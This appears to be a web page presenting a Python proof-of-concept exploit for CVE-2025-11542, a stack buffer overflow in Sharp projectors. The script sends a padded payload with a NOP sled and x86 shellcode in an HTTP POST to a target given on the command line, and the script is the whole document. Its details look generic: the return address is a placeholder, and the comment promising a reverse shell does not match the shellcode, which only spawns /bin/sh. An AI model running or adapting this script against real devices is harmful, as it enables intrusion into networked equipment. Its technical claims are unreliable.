CVE-2025-11542 Sharp投影仪基于栈的缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11542 PoC - Sharp Projector Buffer Overflow # Target: Sharp Display Solutions Projectors # Vulnerability: Stack-based Buffer Overflow # CVSS: 9.8 (CRITICAL) import socket import sys def exploit_cve_2025_11542(target_ip, target_port=80): """ Exploit for CVE-2025-11542 Sharp Projector Stack-based Buffer Overflow This PoC demonstrates the buffer overflow condition by sending an oversized payload to trigger the vulnerability. """ # Padding to reach return address on stack padding = b'A' * 256 # Overwrite return address (example address - adjust for target) return_addr = b'\x42\x42\x42\x42' # NOP sled for reliable exploitation nop_sled = b'\x90' * 32 # Shellcode for arbitrary command execution # This shellcode executes a reverse shell or system command shellcode = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ) # Construct exploit payload payload = padding + return_addr + nop_sled + shellcode print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((target_ip, target_port)) # Send malicious payload # Adjust HTTP headers based on target service request = b'POST / HTTP/1.1\r\n' request += b'Host: ' + target_ip.encode() + b'\r\n' request += b'Content-Length: ' + str(len(payload)).encode() + b'\r\n' request += b'\r\n' request += payload s.send(request) print("[+] Payload sent successfully") response = s.recv(1024) print(f"[*] Response received: {response[:100]}") s.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_11542(target, port)